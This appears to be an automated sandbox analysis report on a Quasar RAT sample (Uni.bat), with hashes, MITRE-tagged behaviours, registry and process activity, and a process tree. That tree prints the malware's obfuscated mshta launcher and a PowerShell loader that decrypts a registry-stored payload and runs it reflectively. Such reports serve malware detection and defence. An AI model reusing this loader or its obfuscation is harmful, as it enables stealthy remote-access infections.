quasar | 0ed0755e3837b5bbd74cfc002313ebd54ad3b0eb735973376bb3d08e0f8d1c0b

Resubmissions

30/04/2024, 02:11

240430-cml6qaaa3v10

18/03/2024, 20:46

240318-zklthaae2s7

25/02/2024, 01:14

240225-blxqdshe737

Analysis

max time kernel
43s
max time network
48s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
resource tags

arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
submitted
30/04/2024, 02:11

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Uni.bat
Size 14.9MB
Sample240430-cml6qaaa3v
SHA256 0ed0755e3837b5bbd74cfc002313ebd54ad3b0eb735973376bb3d08e0f8d1c0b
MD5 ac77c963ec0fffd8d65a4f3deb5194f2
SHA1 249a4c4bf867b16db8cc6fd8f30d7e07e37c5ac2
SHA512 2eebdca89485efbed955514ceeeb6a6933d0a2e7889b41b7cec90612eeff7a751738d6f3420aac9adad51f48e74778de05f895c4f77c91b721e609168e9f2d31
SSDEEP 49152:oydwADYkjy42yfMi9j+WYf2LOfWY4nAxupD+7oCUTgOcA4/p0FvJZwpLpIZKCpAN:A
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

quasar spyware trojan

Malware Config

Extracted

Family

quasar

Attributes

reconnect_delay
3000

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral1/memory/2184-76-0x0000012B80BA0000-0x0000012B81344000-memory.dmp	family_quasar

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000\Control Panel\International\Geo\Nation	$sxr-mshta.exe

Deletes itself 1 IoCs

pid	Process
4892	powershell.exe

Executes dropped EXE 5 IoCs

pid	Process
3868	$sxr-mshta.exe
2068	$sxr-cmd.exe
2184	$sxr-powershell.exe
5752	$sxr-cmd.exe
5784	$sxr-powershell.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx	svchost.exe

Drops file in Windows directory 6 IoCs

description	ioc	Process
File created	C:\Windows\$sxr-powershell.exe	powershell.exe
File opened for modification	C:\Windows\$sxr-powershell.exe	powershell.exe
File created	C:\Windows\$sxr-mshta.exe	powershell.exe
File opened for modification	C:\Windows\$sxr-mshta.exe	powershell.exe
File created	C:\Windows\$sxr-cmd.exe	powershell.exe
File opened for modification	C:\Windows\$sxr-cmd.exe	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 26 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\HardwareID	RuntimeBroker.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002	RuntimeBroker.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	RuntimeBroker.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\HardwareID	RuntimeBroker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	RuntimeBroker.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\HardwareID	RuntimeBroker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001	RuntimeBroker.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000	RuntimeBroker.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	RuntimeBroker.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	Explorer.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	$sxr-mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable\ManagedByApp	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable\MostRecentlyUsed	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable\CurrentWorkingDirectory	RuntimeBroker.exe

Runs regedit.exe 1 IoCs

pid	Process
5316	regedit.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe
2184	$sxr-powershell.exe
2184	$sxr-powershell.exe
2184	$sxr-powershell.exe
2184	$sxr-powershell.exe
2184	$sxr-powershell.exe
2184	$sxr-powershell.exe
2184	$sxr-powershell.exe
2184	$sxr-powershell.exe
2184	$sxr-powershell.exe
2184	$sxr-powershell.exe
2184	$sxr-powershell.exe
2184	$sxr-powershell.exe
2184	$sxr-powershell.exe
2184	$sxr-powershell.exe
2184	$sxr-powershell.exe
2184	$sxr-powershell.exe
2184	$sxr-powershell.exe
2184	$sxr-powershell.exe
2184	$sxr-powershell.exe
2184	$sxr-powershell.exe
2184	$sxr-powershell.exe
2184	$sxr-powershell.exe
2184	$sxr-powershell.exe
5784	$sxr-powershell.exe
5784	$sxr-powershell.exe
2184	$sxr-powershell.exe
2184	$sxr-powershell.exe
2184	$sxr-powershell.exe
2184	$sxr-powershell.exe
2184	$sxr-powershell.exe
2184	$sxr-powershell.exe
2184	$sxr-powershell.exe
2184	$sxr-powershell.exe
2184	$sxr-powershell.exe
2184	$sxr-powershell.exe
2184	$sxr-powershell.exe
2184	$sxr-powershell.exe
2184	$sxr-powershell.exe
2184	$sxr-powershell.exe
2184	$sxr-powershell.exe
2184	$sxr-powershell.exe
5784	$sxr-powershell.exe
2184	$sxr-powershell.exe
2184	$sxr-powershell.exe
2184	$sxr-powershell.exe
2184	$sxr-powershell.exe
2184	$sxr-powershell.exe
2184	$sxr-powershell.exe
2184	$sxr-powershell.exe
2184	$sxr-powershell.exe
2184	$sxr-powershell.exe
2184	$sxr-powershell.exe
5784	$sxr-powershell.exe
5784	$sxr-powershell.exe
2184	$sxr-powershell.exe
2184	$sxr-powershell.exe
2184	$sxr-powershell.exe
2184	$sxr-powershell.exe
2184	$sxr-powershell.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
3540	Explorer.EXE
5316	regedit.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4892	powershell.exe
Token: SeDebugPrivilege	4892	powershell.exe
Token: SeDebugPrivilege	4892	powershell.exe
Token: SeDebugPrivilege	2184	$sxr-powershell.exe
Token: SeDebugPrivilege	2184	$sxr-powershell.exe
Token: SeDebugPrivilege	2184	$sxr-powershell.exe
Token: SeShutdownPrivilege	3540	Explorer.EXE
Token: SeCreatePagefilePrivilege	3540	Explorer.EXE
Token: SeShutdownPrivilege	3540	Explorer.EXE
Token: SeCreatePagefilePrivilege	3540	Explorer.EXE
Token: SeShutdownPrivilege	3540	Explorer.EXE
Token: SeCreatePagefilePrivilege	3540	Explorer.EXE
Token: SeAssignPrimaryTokenPrivilege	2240	svchost.exe
Token: SeIncreaseQuotaPrivilege	2240	svchost.exe
Token: SeSecurityPrivilege	2240	svchost.exe
Token: SeTakeOwnershipPrivilege	2240	svchost.exe
Token: SeLoadDriverPrivilege	2240	svchost.exe
Token: SeSystemtimePrivilege	2240	svchost.exe
Token: SeBackupPrivilege	2240	svchost.exe
Token: SeRestorePrivilege	2240	svchost.exe
Token: SeShutdownPrivilege	2240	svchost.exe
Token: SeSystemEnvironmentPrivilege	2240	svchost.exe
Token: SeUndockPrivilege	2240	svchost.exe
Token: SeManageVolumePrivilege	2240	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2240	svchost.exe
Token: SeIncreaseQuotaPrivilege	2240	svchost.exe
Token: SeSecurityPrivilege	2240	svchost.exe
Token: SeTakeOwnershipPrivilege	2240	svchost.exe
Token: SeLoadDriverPrivilege	2240	svchost.exe
Token: SeSystemtimePrivilege	2240	svchost.exe
Token: SeBackupPrivilege	2240	svchost.exe
Token: SeRestorePrivilege	2240	svchost.exe
Token: SeShutdownPrivilege	2240	svchost.exe
Token: SeSystemEnvironmentPrivilege	2240	svchost.exe
Token: SeUndockPrivilege	2240	svchost.exe
Token: SeManageVolumePrivilege	2240	svchost.exe
Token: SeAuditPrivilege	2920	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2240	svchost.exe
Token: SeIncreaseQuotaPrivilege	2240	svchost.exe
Token: SeSecurityPrivilege	2240	svchost.exe
Token: SeTakeOwnershipPrivilege	2240	svchost.exe
Token: SeLoadDriverPrivilege	2240	svchost.exe
Token: SeSystemtimePrivilege	2240	svchost.exe
Token: SeBackupPrivilege	2240	svchost.exe
Token: SeRestorePrivilege	2240	svchost.exe
Token: SeShutdownPrivilege	2240	svchost.exe
Token: SeSystemEnvironmentPrivilege	2240	svchost.exe
Token: SeUndockPrivilege	2240	svchost.exe
Token: SeManageVolumePrivilege	2240	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2240	svchost.exe
Token: SeIncreaseQuotaPrivilege	2240	svchost.exe
Token: SeSecurityPrivilege	2240	svchost.exe
Token: SeTakeOwnershipPrivilege	2240	svchost.exe
Token: SeLoadDriverPrivilege	2240	svchost.exe
Token: SeSystemtimePrivilege	2240	svchost.exe
Token: SeBackupPrivilege	2240	svchost.exe
Token: SeRestorePrivilege	2240	svchost.exe
Token: SeShutdownPrivilege	2240	svchost.exe
Token: SeSystemEnvironmentPrivilege	2240	svchost.exe
Token: SeUndockPrivilege	2240	svchost.exe
Token: SeManageVolumePrivilege	2240	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2240	svchost.exe
Token: SeIncreaseQuotaPrivilege	2240	svchost.exe
Token: SeSecurityPrivilege	2240	svchost.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3540	Explorer.EXE

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2184	$sxr-powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4740 wrote to memory of 2640	4740	cmd.exe	90
PID 4740 wrote to memory of 2640	4740	cmd.exe	90
PID 4740 wrote to memory of 4892	4740	cmd.exe	91
PID 4740 wrote to memory of 4892	4740	cmd.exe	91
PID 3868 wrote to memory of 2068	3868	$sxr-mshta.exe	103
PID 3868 wrote to memory of 2068	3868	$sxr-mshta.exe	103
PID 2068 wrote to memory of 4356	2068	$sxr-cmd.exe	105
PID 2068 wrote to memory of 4356	2068	$sxr-cmd.exe	105
PID 2068 wrote to memory of 2184	2068	$sxr-cmd.exe	106
PID 2068 wrote to memory of 2184	2068	$sxr-cmd.exe	106
PID 2184 wrote to memory of 668	2184	$sxr-powershell.exe	7
PID 2184 wrote to memory of 952	2184	$sxr-powershell.exe	12
PID 2184 wrote to memory of 1020	2184	$sxr-powershell.exe	13
PID 2184 wrote to memory of 508	2184	$sxr-powershell.exe	14
PID 2184 wrote to memory of 1004	2184	$sxr-powershell.exe	17
PID 2184 wrote to memory of 1096	2184	$sxr-powershell.exe	18
PID 2184 wrote to memory of 1128	2184	$sxr-powershell.exe	19
PID 2184 wrote to memory of 1140	2184	$sxr-powershell.exe	20
PID 2184 wrote to memory of 1220	2184	$sxr-powershell.exe	21
PID 2184 wrote to memory of 1240	2184	$sxr-powershell.exe	22
PID 2184 wrote to memory of 1260	2184	$sxr-powershell.exe	23
PID 2184 wrote to memory of 1376	2184	$sxr-powershell.exe	24
PID 2184 wrote to memory of 1388	2184	$sxr-powershell.exe	25
PID 2184 wrote to memory of 1492	2184	$sxr-powershell.exe	26
PID 2184 wrote to memory of 1500	2184	$sxr-powershell.exe	27
PID 2184 wrote to memory of 1548	2184	$sxr-powershell.exe	28
PID 2184 wrote to memory of 1632	2184	$sxr-powershell.exe	29
PID 2184 wrote to memory of 1684	2184	$sxr-powershell.exe	30
PID 2184 wrote to memory of 1696	2184	$sxr-powershell.exe	31
PID 2184 wrote to memory of 1776	2184	$sxr-powershell.exe	32
PID 2184 wrote to memory of 1784	2184	$sxr-powershell.exe	33
PID 2184 wrote to memory of 1896	2184	$sxr-powershell.exe	34
PID 2184 wrote to memory of 1920	2184	$sxr-powershell.exe	35
PID 2184 wrote to memory of 1928	2184	$sxr-powershell.exe	36
PID 2184 wrote to memory of 1472	2184	$sxr-powershell.exe	37
PID 2184 wrote to memory of 1828	2184	$sxr-powershell.exe	38
PID 2184 wrote to memory of 2232	2184	$sxr-powershell.exe	40
PID 2184 wrote to memory of 2240	2184	$sxr-powershell.exe	41
PID 2184 wrote to memory of 2252	2184	$sxr-powershell.exe	42
PID 2184 wrote to memory of 2472	2184	$sxr-powershell.exe	43
PID 2184 wrote to memory of 2496	2184	$sxr-powershell.exe	44
PID 2184 wrote to memory of 2588	2184	$sxr-powershell.exe	45
PID 2184 wrote to memory of 2616	2184	$sxr-powershell.exe	46
PID 2184 wrote to memory of 2768	2184	$sxr-powershell.exe	48
PID 2184 wrote to memory of 2780	2184	$sxr-powershell.exe	49
PID 2184 wrote to memory of 2884	2184	$sxr-powershell.exe	50
PID 2184 wrote to memory of 2920	2184	$sxr-powershell.exe	51
PID 2184 wrote to memory of 2952	2184	$sxr-powershell.exe	52
PID 2184 wrote to memory of 2972	2184	$sxr-powershell.exe	53
PID 2184 wrote to memory of 2996	2184	$sxr-powershell.exe	54
PID 2184 wrote to memory of 3128	2184	$sxr-powershell.exe	55
PID 2184 wrote to memory of 3244	2184	$sxr-powershell.exe	56
PID 2184 wrote to memory of 3540	2184	$sxr-powershell.exe	57
PID 2184 wrote to memory of 3668	2184	$sxr-powershell.exe	58
PID 2184 wrote to memory of 3848	2184	$sxr-powershell.exe	59
PID 2184 wrote to memory of 4008	2184	$sxr-powershell.exe	61
PID 2184 wrote to memory of 3692	2184	$sxr-powershell.exe	63
PID 2184 wrote to memory of 4936	2184	$sxr-powershell.exe	66
PID 2184 wrote to memory of 4308	2184	$sxr-powershell.exe	67
PID 2184 wrote to memory of 4536	2184	$sxr-powershell.exe	68
PID 2184 wrote to memory of 1188	2184	$sxr-powershell.exe	69
PID 2184 wrote to memory of 2512	2184	$sxr-powershell.exe	70
PID 2184 wrote to memory of 4464	2184	$sxr-powershell.exe	71
PID 2184 wrote to memory of 4212	2184	$sxr-powershell.exe	72

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:668

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:952

C:\Windows\system32\dwm.exe
"dwm.exe"
1⤵
PID:1020

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:508

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1004

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1096

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1128

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1140
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2616
- C:\Windows\$sxr-mshta.exe
  C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-bWrlABpsIYMiBcbKIerU4312:qossowuw=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:3868
- - C:\Windows\$sxr-cmd.exe
    "C:\Windows\$sxr-cmd.exe" /c %$sxr-bWrlABpsIYMiBcbKIerU4312:qossowuw=%
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:2068
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2388
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo Invoke-Expression $env:cRBAvnDgfx; "
      4⤵
      PID:4356
  - - C:\Windows\$sxr-powershell.exe
      C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:2184
    - - C:\Windows\$sxr-cmd.exe
        
        "C:\Windows\$sxr-cmd.exe" /C set "uXpcASqFCR=[System.Diagnostics.Process]::GetProcessById(2184).WaitForExit();[System.Threading.Thread]::Sleep(5000); function mQwTG($XBUFh){ $jdwKj=[System.Security.Cryptography.Aes]::Create(); $jdwKj.Mode=[System.Security.Cryptography.CipherMode]::CBC; $jdwKj.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $jdwKj.Key=[System.Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))('k/7ogWHbOPP1Xj3vmd7DmQPlfVka1Ukcbup54XzF0b4='); $jdwKj.IV=[System.Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))('WsbNAHfOn7C83gPgI7cnOw=='); $YzgkN=$jdwKj.('@C@r@e@a@t@e@D@e@c@r@y@p@t@o@r@'.Replace('@', ''))(); $TwKSq=$YzgkN.('@T@r@a@n@s@f@o@r@m@F@i@n@a@l@B@l@o@c@k@'.Replace('@', ''))($XBUFh, 0, $XBUFh.Length); $YzgkN.Dispose(); $jdwKj.Dispose(); $TwKSq;}function RQNcq($XBUFh){ $vgUMD=New-Object System.IO.MemoryStream(,$XBUFh); $zOTmR=New-Object System.IO.MemoryStream; Invoke-Expression '$pbdQE @=@ @N@e@w@-@O@b@j@e@c@t@ @S@y@s@t@e@m@.@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@G@Z@i@p@S@t@r@e@a@m@(@$vgUMD,@ @[@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@C@o@m@p@r@e@s@s@i@o@n@M@o@d@e@]@:@:@D@e@c@o@m@p@r@e@s@s@)@;@'.Replace('@', ''); $pbdQE.CopyTo($zOTmR); $pbdQE.Dispose(); $vgUMD.Dispose(); $zOTmR.Dispose(); $zOTmR.ToArray();}function fbKUc($XBUFh){ $TwKSq = [System.Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))($XBUFh); $TwKSq = mQwTG($TwKSq); $TwKSq = [System.Text.Encoding]::('@U@T@F@8@'.Replace('@', '')).('@G@e@t@S@t@r@i@n@g@'.Replace('@', ''))($TwKSq); return $TwKSq;}function execute_function($XBUFh,$qnqpJ){ $bduxG = @( '$ToEcv = [System.@R@e@f@l@e@c@t@i@o@[email protected]]::@L@o@a@d@([byte[]]$XBUFh);'.Replace('@', ''), '$KFWGg = $ToEcv.EntryPoint;', '$KFWGg.Invoke($null, $qnqpJ);' ); foreach ($tkbcs in $bduxG) { Invoke-Expression $tkbcs };}$njROm = fbKUc('MTCsCSqS+MLwcB4a2sjbnQ==');$DxZMm = fbKUc('+lcPCSbmeZhMf0nGiJCL9pkUKsYW8jUm/zKZE+/JI/w=');$lHAQO = fbKUc('7F1t5fndOQPNKVAdx5M+ZA==');$MGmRH = fbKUc('5j2cVIrJ1XE2m2AxZ6Y0Bg==');if (@(get-process -ea silentlycontinue $MGmRH).count -gt 1) {exit};$oTLRj = [Microsoft.Win32.Registry]::('@L@o@c@a@l@M@a@c@h@i@n@e@'.Replace('@', '')).('@O@p@e@n@S@u@b@k@e@y@'.Replace('@', ''))($njROm).('@G@e@t@V@a@l@u@e@'.Replace('@', ''))($DxZMm);$LXbSA=RQNcq (mQwTG ([Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))($oTLRj)));execute_function $LXbSA (,[string[]] ($lHAQO));" & echo Invoke-Expression $env:uXpcASqFCR; | C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass > nul
        5⤵
        Executes dropped EXE
        
        PID:5752
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Invoke-Expression $env:uXpcASqFCR; "
        6⤵
        
        PID:5772
      - C:\Windows\$sxr-powershell.exe
        
        C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:5784

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1220

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1240

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1260

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1376
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2472

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1388

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1492

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1500

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1548

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1632

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1684

